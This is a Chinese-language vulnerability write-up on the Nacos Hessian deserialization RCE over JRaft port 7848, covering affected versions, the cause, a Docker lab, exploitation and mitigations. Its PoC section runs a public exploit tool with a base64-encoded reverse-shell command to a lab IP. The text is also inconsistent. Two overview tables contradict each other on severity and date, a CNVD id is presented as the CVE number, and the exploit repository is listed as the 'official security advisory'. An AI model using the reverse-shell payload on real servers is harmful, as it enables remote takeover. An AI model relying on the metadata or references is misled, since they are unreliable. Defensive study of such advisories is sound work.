一、漏洞简介

1.1 漏洞背景

2023年7月,Nacos 被披露存在严重的 Hessian 反序列化漏洞。Nacos 默认的 7848 端口用于处理集群模式下 JRaft 协议通信,在处理部分 JRaft 请求时未对 Hessian 反序列化进行限制,导致远程代码执行。

1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)

项目 内容
漏洞编号 CNVD-2023-45001
危害等级 暂未找到权威信息
漏洞类型 JRaft Hessian 反序列化 RCE
披露时间 暂未找到权威信息
影响组件 Nacos
项目 内容
CVE 编号 CNVD-2023-45001
危害等级 严重(Critical)
CVSS 评分 9.8
漏洞类型 Hessian 反序列化
影响 远程代码执行(RCE)
公开日期 2023年7月
<hr />

核验说明:原文使用编号 CNVD-2023-45001,但其不符合标准 CVE 格式或暂未在 NVD/CVE 公共记录中确认,文中保留原主题并标注待核验。

二、影响范围

2.1 受影响的版本

  • Nacos 1.4.0 - 1.4.5(使用 cluster 集群模式)
  • Nacos 2.0.0 - 2.2.2(任意模式,包括 standalone)

2.2 不受影响的版本

  • Nacos 1.4.6+
  • Nacos 2.2.3+

2.3 触发条件(如特定模块、特定配置、特定运行环境等)

  1. Nacos 7848 端口可访问
  2. Nacos 2.x 默认开放该端口(单机和集群均受影响)
  3. Nacos 1.x 仅集群模式受影响
<hr />

三、漏洞详情与原理解析

3.1 漏洞触发机制

Nacos 集群使用 JRaft 协议进行通信,默认监听 7848 端口。在处理 JRaft 请求时,使用了 Hessian 进行反序列化,但未设置类白名单,导致攻击者可执行任意代码。

攻击流程: 1. 攻击者连接 Nacos 7848 端口 2. 发送特制的 JRaft 请求 3. 服务端使用 Hessian 反序列化 4. 触发 Gadget 链执行任意代码

3.2 端口说明

端口 用途 Nacos 1.x Nacos 2.x
8848 HTTP API 开放 开放
9848 客户端 gRPC 不开放 开放
9849 服务端 gRPC 不开放 开放
7848 JRaft 集群通信 仅集群 单机+集群
<hr />

3.2 源码层面的根因分析(结合源码与补丁对比)

暂未检索到可公开验证的源码补丁信息,无法对根因实现细节作权威复原。

四、漏洞复现(可选)

4.1 环境搭建

# 使用 Docker 启动 Nacos 2.2.0
docker run -d --name nacos \
  -e MODE=standalone \
  -p 8848:8848 \
  -p 7848:7848 \
  nacos/nacos-server:2.2.0

4.2 PoC 演示与测试过程

使用开源工具

# 下载工具
git clone https://github.com/c0olw/NacosRce.git
cd NacosRce

# 执行命令(需要 JDK 1.8)
java -jar NacosRce.jar http://192.168.1.100:8848 7848 "whoami"

反弹 Shell

java -jar NacosRce.jar http://192.168.1.100:8848 7848 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}"
<hr />

五、修复建议与缓解措施

5.1 官方版本升级建议

升级到 Nacos 2.2.3 或更高版本

5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)

限制 7848 端口访问

# 防火墙规则
iptables -A INPUT -p tcp --dport 7848 -j DROP

Docker 不映射 7848 端口

docker run -d --name nacos \
  -p 8848:8848 \
  nacos/nacos-server:2.2.2  # 不映射 7848
<hr />

六、参考信息 / 参考链接

6.1 官方安全通告

  • https://github.com/c0olw/NacosRce.git
  • https://github.com/c0olw/NacosRce

6.2 其他技术参考资料

  • https://github.com/c0olw/NacosRce.git
  • http://192.168.1.100:8848
  • https://github.com/c0olw/NacosRce
  • https://cloud.tencent.com/developer/article/2413544